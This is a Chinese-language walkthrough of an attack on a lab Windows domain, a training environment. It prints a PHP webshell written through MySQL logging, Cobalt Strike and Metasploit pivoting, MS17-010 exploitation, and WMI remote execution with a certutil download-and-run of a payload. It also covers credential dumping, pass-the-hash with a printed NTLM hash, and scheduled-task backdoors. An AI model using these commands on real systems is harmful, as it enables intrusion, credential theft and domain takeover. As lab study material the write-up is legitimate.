0x00 前言
之前在打一個域環境的時候出現了域內主機不出網的情況,當時用的是cs的socks代理將不出網主機的流量代理到了邊緣主機上。當時沒有考慮太多,下來之后想到搭一個環境復現一下當時的情況,看有沒有更簡便的方法能夠打下不出網的主機。
機緣巧合之下,發現了這個域環境還不錯,再復現的過程中也有一些知識觸及了我的知識盲區,也收獲了許多新的知識。特地把過程記錄下來,與想要學習打域內不出網主機的師傅們共同分享。
0x01 靶場地址分配
內網網段:192.168.52.0/24
外網網段:192.168.10.0/24
攻擊機:
kali:192.168.10.11
靶場:
win7(內):192.168.52.143
win7(外):192.168.10.15
域內主機:
Winserver2003:192.168.52.141
Winserver2008:192.168.52.138
其中win7可以外網、內網通信,域內主機只能內網之間進行通信
一開始DCping不通win7,win7關閉防火牆之后可以ping通
打開C盤下的phpstudy目錄打開web服務
0x02 web服務器滲透
nmap探測端口
nmap -sS -P0 -sV -O 192.168.10.15
開了80端口,嘗試訪問web地址,發現為php探針
滑到最底部,發現網站底部有一個MySQL數據庫連接檢測
弱口令root/root連接成功
掃描后台
我這里用的是御劍,但是好像很拉,因為在我打完這個靶場之后再去網上看的時候發現他們很多掃出來一個cms,通過cms也能拿shell,這里我就不演示怎么用cms弱口令進后台寫shell了,如果有感興趣的小伙伴可以自行搜索一下
發現phpmyadmin目錄,還是root/root弱口令登陸成功
進入后界面如下所示
0x03 通過phpmyadmin寫shell
通過phpmyadmin寫shell有兩種方式
首先我嘗試 select into outfile 直接寫入,但是他這里secure_file_priv的值為NULL,所以無法提權
只能使用另外一種方法,用全局日志寫shell
SHOW VARIABLES LIKE '%general%'
查看配置,可以看到全局日志是處於關閉的狀態,gengeral_log_file返回了日志的絕對地址
那這里我先把它的全局日志打開,再往它路徑里面寫入一個一句話木馬
set global general_log = on;
開啟全局日志后修改絕對路徑,注意這里有一個坑,日志給我們返回的路徑是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql訪問的絕對地址為C:\\phpStudy\\WWW目錄下的文件,所以這個地方寫shell必須要寫到WWW目錄下才能夠用蟻劍連接上
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
這里再寫入一句話木馬
select '<?php eval($_POST[cmd]);?>'
然后再上蟻劍連接即可
可以看到連接成功
0x03 內網信息搜集
查看下系統的權限,一上來就是administrator權限就很舒服
ipconfig /all查看網絡信息,域環境+雙網卡
tasklist /svc粗略看了一下,似乎是沒有殺軟的
想着沒有殺軟,那么直接用最簡單粗暴的上cs更省心,上傳一個cs生成的木馬exe到目標主機上
用計划任務上線cs
成功上線
0x04 內網滲透
信息搜集
net view查看域信息
使用cs自帶的端口掃描掃一波主機
掃出來所有的主機如下
hashdump抓一波hash
logonpasswords抓一波明文
所有憑證如下,打碼的原因是因為之前登陸的時候密碼要重置,弄了一個帶有個人信息的密碼
思路
這里我測試了一下,因為目標主機沒有開啟防火牆,是能夠通過cs自帶的psexec一波橫向抓域控和域內機器密碼的,但是鑒於這個win7雙網卡且域內另外主機不出網的情況,練習一下如何打不出網的主機
不出網機器上線一般有以下幾種方式:
- 使用smb beacon
- 配置listener通過HTTP代理上線
- 使用pystinger搭建socks4代理
這里我使用SMB beacon這個方法
SMB
Beacon使用命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接后,子Beacon從父Beacon獲取到任務並發送。因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB
beacon相對隱蔽。SMB beacon不能直接生成可用載荷, 只能使用 PsExec 或 Stageless Payload 上線
首先得到內網中一台主機的beacon,抓取密碼后進行smb噴射,得到另一台開放445端口的機器上的administrator賬戶密碼,在目標機器不出網的情況下,可以使用Smb
beacon使目標主機上線
1.使用條件
- 具有 SMB Beacon 的主機必須接受 445 端口上的連接。
- 只能鏈接由同一個 Cobalt Strike 實例管理的 Beacon。
- 利用這種beacon橫移必須有目標主機的管理員權限或者說是擁有具有管理員權限的憑據。
2.使用方法
(1)建立smb listener
(2)在cs中使用psexec進行橫向移動,選擇現有的beacon作為跳板,這里憑據必須是administrator
,即擁有目標主機管理員權限
(3)連接成功,可以看到smb beacon上線的主機右側有∞∞標識
使用這種方法上線的機器,主要是通過出網機作為一個中間人,不出網主機成功上線后,如果出網機一斷開,這個不出網主機也會斷
0x05 內網橫向滲透
思路
用Ladon掃一波內網的永恆之藍,發現這幾台主機都存在MS17-010
ms17010常見的幾種打法:
- msf
- ladon/ladon_ms17010
- 從msf分離出的exe
- nessus里的exe
- cs插件
這幾種打法,我在這個環境中都做過嘗試。過程就不一一敘述了,直接說我測試的結果
msf是最穩定的,但是打起來有稍許的麻煩因為要設置監聽模塊和選擇攻擊模塊等配置。ladon_ms17010方便但是不太穩有時候會打不成功。cs插件也不穩,並且在這種不出網網絡不穩定的情況下成功率會變的更低
在這種不出網的情況下,可以優先考慮使用從msf分離出的exe和ladon_ms17010來打,打成功會直接通過自定義的dll新建一個用戶並加入管理員組,開啟3389端口,而且還會留一個粘滯鍵后門
根據實際情況,可考慮在合適的時間段和條件下直接遠程登入,翻一下敏感數據,往往會因為運維人員的很多“好習慣”而給滲透帶來很多便利,比如說“密碼本.txt”
cs派生msf會話
msf設置監聽端口
cs新建端口建立對話
運行拿到meterpreter
ms_17_010獲取域控權限
這里因為知道了DC是有ms_17_010這個漏洞的,所以我先嘗試了用永恆之藍打一波
使用如下模塊
exploit/windows/smb/ms17_010_eternalblue
運行之后發現exp已經打過去了但是沒有session建立
再換個ms17010的模塊
use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/blind_tcp
同樣沒有拿到shell,當時沒有細想,后來我考慮到可能是win7處於兩個網段的原因,所以用永恆之藍直接打是拿不到shell的
msf打不出網機器的ms_17_010
想到之前拿到了win7的meterpreter,所以用添加路由的方式嘗試一下
msf在單兵作戰的時候還是很穩定很香的。win7在msf上線后,因為我們已經提前知道了,存在52這個不出網的段,那么就需要在msf中添加路由
1.查看路由
run get_local_subnets
2.添加路由
run autoroute -s 192.168.52.0/24
3.查看添加的路由
run autoroute -p
4.開始攻擊
把shell切換到后台,再運用ms17_010_eternalblue模塊
這次能夠成功建立連接
ms_17_010模塊總結
漏洞檢測方法:
use auxiliary/scanner/smb/smb_ms17_010
之后設置一下目標ip和線程即可,這里因為已經掃出存在漏洞的機器了,所以就沒有進行漏洞檢測。
漏洞利用常使用的是:
auxiliary/admin/smb/ms17_010_command exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/ms17_010_psexec
這里的第一個和第三個模塊需要目標開啟命名管道,並且比較穩定。第二個模塊只要存在漏洞即可,但是會有概率把目標打藍屏,而且殺軟攔截也會比較嚴格,如果有殺軟就基本可以放棄這個模塊了。
在打ms17010的時候,不妨使用auxiliary/admin/smb/ms17_010_command模塊探測一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.164.156 192.168.164.161 set command tasklist show options run
如果命令執行成功的話就可以優先考慮這兩個模塊進行利用
auxiliary/admin/smb/ms17_010_command exploit/windows/smb/ms17_010_psexec
WMI獲取域控服務器
因為之前用了兩個ms_17_010的模塊都沒有打成功,而session放在后台是后面才想到的打法,在當時模塊沒有打成功的情況下我決定另辟蹊徑
首先我打開3389端口並關閉防火牆進到win7的遠程桌面
注冊表開啟3389端口
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
關閉防火牆
netsh firewall set opmode disable #windows server 2003 之前
netsh advfirewall set allprofiles state off #windows server 2003 之后
這個時候防火牆是開啟,關閉防火牆,使用域用戶god\\administrator/hongrisec@2020成功登錄這一台win7WEB主機
上傳vmiexec.vbs到192.168.52.143(win7)機器上,然后執行
cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"
因為我用vbs幾次都沒有回顯,所以我這里使用的Ladon.exe,執行
Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 whoami
同上面的過程一樣,獲取一個正向的msf連接,過程如下:
首先生成一個正向的exe文件放到win7的網站目錄上
在win7上看一下,上傳成功
在win7上使用WMI執行命令
certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe
成功執行,這時候在138機器(即DC-win2008)上開啟6666端口監聽
在msf上個運行blin_tcp來獲取回話
成功獲取域控權限,后續提權
使用CVE-2018-8120提權,成功提到系統權限,這里我思考了一下用MS14-068應該也能夠提權成功
成功提權,上免殺mimikatz,成功抓到hash
票據加計划任務獲取DC
這里先用msf的命令生成正向的馬 yukong.exe
windows/reverse_bind_tcp LHOST=192.168.10.11 LPORT=7777
把馬復制到域控機器上
shell copy C:\\yukong.exe \\192.168.52.138\\c$
然后再用這個寫入計划任務的方法去連接,這里馬反彈會連不成功,所以使用如下命令
shell schtasks /create /tn "test" /tr C:\\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"
掛着win7代理
proxy nc -vv 192.168.52.138 7777
即可彈回DC的shell,然后清除計划任務
schtasks /delete /s 192.168.52.138 /tn "test" /f
使用mimikatz進行hash傳遞
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
查看DC的目錄
shell dir \\192.168.52.138\\c$ //dir
0x06 總結
1.目標網絡情況
攻擊機:
kali:192.168.10.11
目標靶機:
win7(內):192.168.52.143
win7(外):192.168.10.15
域內主機:
Winserver2003:192.168.52.141
Winserver2008:192.168.52.138
2.在攻擊機中,通過nmap探測目標靶機開放端口,發現開放了80,445,3306等端口
nmap -sS -P0 -sV -O 192.168.10.15
3.訪問目標web 80D端口,發現系統指紋為phpstudy 探針,發現最底部有個mysql數據庫連接,輸入弱口令root/root可成功連接
4.通過御劍對目標靶機web應用進行目錄掃描,發信存在http://192.168.10.15/phpmyadmin目錄,訪問該目錄,輸入弱口令root/root即可連接成功
5.嘗試 select into outfile 直接寫入,但是這里secure_file_priv的值為NULL,無法提權
show global variables like '%secure%'
6.通過全局日志寫入shell, 並查看配置,發現全局日志是處於關閉的狀態,gengeral_log_file返回了日志的絕對地址
SHOW VARIABLES LIKE '%general%'
7.開啟全局日志
set global general_log = on;
8.修改絕對路徑,日志給我們返回的路徑是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql訪問的絕對地址為C:\\phpStudy\\WWW目錄下的文件,所以這個地方寫shell必須要寫到WWW目錄下才能夠用蟻劍連接上
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
9.通過sql命令執行以下語句,即可寫入shell
select '<?php eval($_POST[cmd]);?>'
10.通過蟻劍成功連接一句話,發現網站根目錄下存在yxcms目錄
11.通過蟻劍的命令終端功能執行命令進行信息收集
whomai //發現目標系統為administrator權限
ipconfig/all //發現目標存在雙網卡,一個網卡IP地址為192.168.10.15,另外一個網卡IP地址為192.168.52.143
tasklist /svc //發現目標並沒有殺軟
12.通過CS生成一個后門文件為artifact.exe,將其通過蟻劍上傳到目標系統中,並通過命令執行
13.通過計划任務上線CS或者直接運行,可成功上線
c:\phpstudy\WWW\artifact.exe
net time \\192.168.10.15
schtasks /create /TN cs /TR c:\phpstudy\WWW\artifact.exe /SC once /ST 10:50
14.通過CS的beacon命令終端進行信息收集
shell net view //查看域主機信息,發現有\\owa,\\root-tvi862urh,\\stu1
portscan 192.168.10.0-192.168.10.255 1-1024,3389,5000-6000 arp 1024 \\使用自帶的端口掃描192.168.10.0/24網段的端口
15.掃描的IP和計算機名對應關系為
192.168.52.138--owa--win2008
192.168.52.141--root-tvi862urh--win2003
192.168.52.143--stu1--win7
16.在CS中hash抓取,並且通過CS的憑據信息,可以看到查看到域管理員的hash值
hadump //抓取到本地管理員administator的hash
logonpasswords //獲取到本地管理員administator的明文
17.這里使用SMB beacon打內網不通信網絡
首先得到內網中一台主機的beacon,抓取密碼后進行smb噴射,得到另一台開放445端口的機器上的administrator賬戶密碼,
在目標機器不出網的情況下,可以使用Smb beacon使目標主機上線,SMB beacon不能直接生成可用載荷, 只能使用 PsExec 或 Stageless Payload 上線。
使用條件:
具有 SMB Beacon 的主機必須接受 445 端口上的連接。
只能鏈接由同一個 Cobalt Strike 實例管理的 Beacon。
利用這種beacon橫移必須有目標主機的管理員權限或者說是擁有具有管理員權限的憑據
18.建立smb listener
name:smb
payload: beacon SMB
pipanme(c2):msagent_866c
19.在cs中使用psexec進行橫向移動,選擇現有的beacon作為跳板,這里憑據必須是administrator
,即擁有目標主機管理員權限
用戶名:administrator
密碼:god.org
doamin:god.org
監聽器:smb
會話操作:adminstor 192.168.10.15@6067
20.這里通過CS將lanon上傳到目標系統中,然后對ms17-010進行掃描 ,發現192.168.52.143和138以及141都存在MS17-1010漏洞
lanon 192.168.52.143/24 MS17010
21.這里可以通過MSF模塊進行MS17-010最穩定攻擊
22.攻擊機MSF下設置監聽端口
msf>set lport 5555
msf>lhost 192.168.10.11
msf>set payload windows/meterprter/reverse_http
23.cs新建端口建立對話
name:msf
payload:foreign http
http host :192.168.10.11
http prot:555
24.MSF下運行run獲取到meterprter
msf>run
meterprter>
25.通過永恆之藍漏洞攻擊DC,發現無法反彈shell
meterprter>background
msf>use exploit/windows/smb/ms17_010_eternalblue
msf>set payload windows/x64/meterprter/reverse_http
msf>set lhost 192.168.52.138
msf>set lport 4444
26.嘗試另外一個模塊,進行攻擊DC,成功反彈shell
msf>use exploit/windows/smb/ms17_010_psexec
msf>set payload windows/meterpreter/blind_tcp
msf>set lhost 192.168.52.138
msf>set lport 4444
27.msf打不出網機器的ms_17_010
meterprter> run get_local_subnets //查看路由
meterprter> run autoroute -s 192.168.52.0/24 //添加路由
meterprter> run autoroute -p //查看路由
通過永恆之藍漏洞攻擊不出網的DC,發現無法反彈shell
meterprter>background
msf>use exploit/windows/smb/ms17_010_eternalblue
msf>set payload windows/x64/meterprter/reverse_http
msf>set lhost 192.168.52.138
msf>set lport 4444
永恆之藍利用模塊
auxiliary/scanner/smb/smb_ms17_010 //永恆之藍檢查模塊,可檢查出管道名和漏洞
auxiliary/admin/smb/ms17_010_command //比較穩定,需要管道名,有先使用
exploit/windows/smb/ms17_010_eternalblue //不穩定,容易藍屏,只需要漏洞存在,不需要管道命令
exploit/windows/smb/ms17_010_psexec //比較穩定,需要管道名,有先使用
28.WMI獲取DC服務器
通過蟻劍的命令終端將目標靶機系統win7 3389端口通過注冊表開啟
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netstat -an |find "3389" //發現3389端口已開啟
netsh advfirewall set allprofiles state off //關閉防火牆
使用域用戶god\\administrator/hongrisec@2020成功遠程桌面登錄這一台win7 WEB主機
通過蟻劍將vmiexec.vbs上傳到192.168.52.143(win7)機器上,並執行命令,發現無法通過wmiexe腳本遠程命令執行DC命令
cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"
使用的Ladon.exe,成功執行
Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 "whoami"
29.MSF正向代理上線DC
在攻擊MSF下執行以下命令生成MSF的正向exe后門
msfvenom -p windows/x64/meterprter/bind_tcp lport=6666 -f exe >/opt/6666.exe
通過蟻劍將6666.exe上傳到目標靶機中,並通過HSF搭建簡單的HTTP服務,將6666.exe放入其中
通過以下命令,遠程在DC中執行
Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 "certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe"
msf上個運行blin_tcp來獲取回話
msf>use exploit/multi/handler
msf>set payload windows/x64/meterprter/bind_tcp
msf>set rhost 192.168.52.138
msf>set rport 3333
meterprter>getuid //發現是普通域權限
meterpter>upload cve-2018-8120.exe //上傳提權exe
meterpter>shell
c:\>cve-2018-8120.exe .exe whomai //進行提權
c:\>exit
meterpter>upload mz64.exe //上傳mimimkatz
meterpter>shell
c:\>cve-2018-8120.exe .exe mz64.exe //成功抓到hash
30.票據加計划任務獲取DC
在CS中通過MIMIKATZ進行DC hash傳遞
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
shell dir \\192.168.52.138\\c$ //dir //成功列出目